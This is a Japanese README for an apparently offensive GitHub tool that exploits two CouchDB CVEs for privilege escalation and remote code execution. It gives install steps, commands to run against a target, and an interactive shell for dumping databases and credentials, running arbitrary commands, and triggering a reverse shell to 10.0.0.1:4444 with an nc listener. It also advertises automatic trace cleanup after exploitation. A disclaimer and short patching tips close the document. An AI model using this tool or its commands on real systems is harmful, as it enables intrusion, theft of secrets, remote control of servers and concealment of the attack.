
CouchDB の CVE-2017-12635/12636 を悪用して権限昇格と RCE を実行し、コマンド実行、データベース閲覧、リバースシェルを備えた対話型シェルを提供します。
このツールは Apache CouchDB の2つの重大な脆弱性を悪用します:
| CVE | 説明 | 深刻度 |
|---|---|---|
| CVE-2017-12635 | JSON パースバイパスによる権限昇格 | 🔴 重大 |
| CVE-2017-12636 | Query Server を介したリモートコード実行 | 🔴 重大 |
| バージョン | 脆弱性 | 修正バージョン |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ あり | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ あり | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ あり | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ あり | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ なし | - |
curl http://target:5984/
✨ 機能
✅ 自動エクスプロイト - コマンド1つですべてを実行
✅ インタラクティブシェル - ユーザーフレンドリーなコマンドインターフェース
✅ データベースビューア - すべてのデータベースとドキュメントを閲覧
✅ 完全な JSON 表示 - ドキュメントの内容を完全に表示
✅ グローバル検索 - すべてのデータベースを横断してキーワードを検索
✅ システムコマンド - ターゲット上で任意のコマンドを実行
✅ リバースシェル - 完全なインタラクティブシェルを取得
✅ コマンド履歴 - 操作の履歴を記録
✅ 自動クリーンアップ - エクスプロイト後に痕跡を削除
✅ カラー出力 - 読みやすく理解しやすい表示
📦 インストール 前提条件 bash
python3 --version
クローン & インストール bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
要件 txt
requests>=2.25.0 urllib3>=1.26.0
🚀 使用方法 基本的な使用方法 bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
コマンドラインオプション bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 コマンド
一度エクスプロイトに成功すると、インタラクティブシェルが利用できます: コマンド 説明 例 db ドキュメント数とともにすべてのデータベースを表示 db view データベース内のすべてのドキュメントを表示(完全なJSON) view passwords raw 生のサーバーレスポンスを表示 raw admin count データベース内のドキュメント数をカウント count users search すべてのデータベース内でキーワードを検索 search admin exec システムコマンドを実行 exec whoami reverse リバースシェルをセットアップ reverse 10.0.0.1 4444 history コマンド履歴を表示 history help このメニューを表示 help exit クリーンアップして終了 exit 📊 例
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
データベースの内容を表示 bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] 10.0.0.1:4444 へのリバースシェルを設定中 [!] リスナーが実行中であることを確認してください: nc -lvnp 4444 [?] 続行しますか? (y/n): y [+] リバースシェルがトリガーされました!
🖼️ スクリーンショット 実際のエクスプロイトの様子
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot データベースビュー
https://via.placeholder.com/800x400?text=Database+View リバースシェル
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ 免責事項
重要: このツールは教育および許可されたテスト目的でのみ使用してください。
🚫 明示的な許可なくシステム上で使用しないでください
🚫 作者は不正使用について一切の責任を負いません
🚫 管理された環境または自身のシステムでのみ使用してください
✅ テスト前に必ず書面による許可を取得してください
✅ 責任ある開示の慣行に従ってください
このツールを使用することにより、これらの条件に同意したものとみなされます。 🔐 セキュリティのヒント
システム管理者の方は:
直ちに CouchDB ≥ 1.7.0 または ≥ 2.1.1 にアップグレードしてください
ファイアウォールを使用してポート 5984 へのアクセスを制限してください
認証を有効にし、強力なパスワードを使用してください
不審なアクティビティがないかログを監視してください
インフラストラクチャの定期的なセキュリティ監査を実施してください
クイックフィックス bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # または最新バージョン
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 参考資料
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB セキュリティ
Exploit-DB
👤 作者
darabium
GitHub: @darabium
Telegram: @darabium
⭐ サポート
これが役に立ったら:
⭐ リポジトリにスターを付ける
🐛 問題を報告する
🔧 改善に貢献する
📢 他の人と共有する
📄 ライセンス
このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細は LICENSE ファイルを参照してください。
セキュリティ研究のために ❤️ を込めて作成
⬆ トップに戻る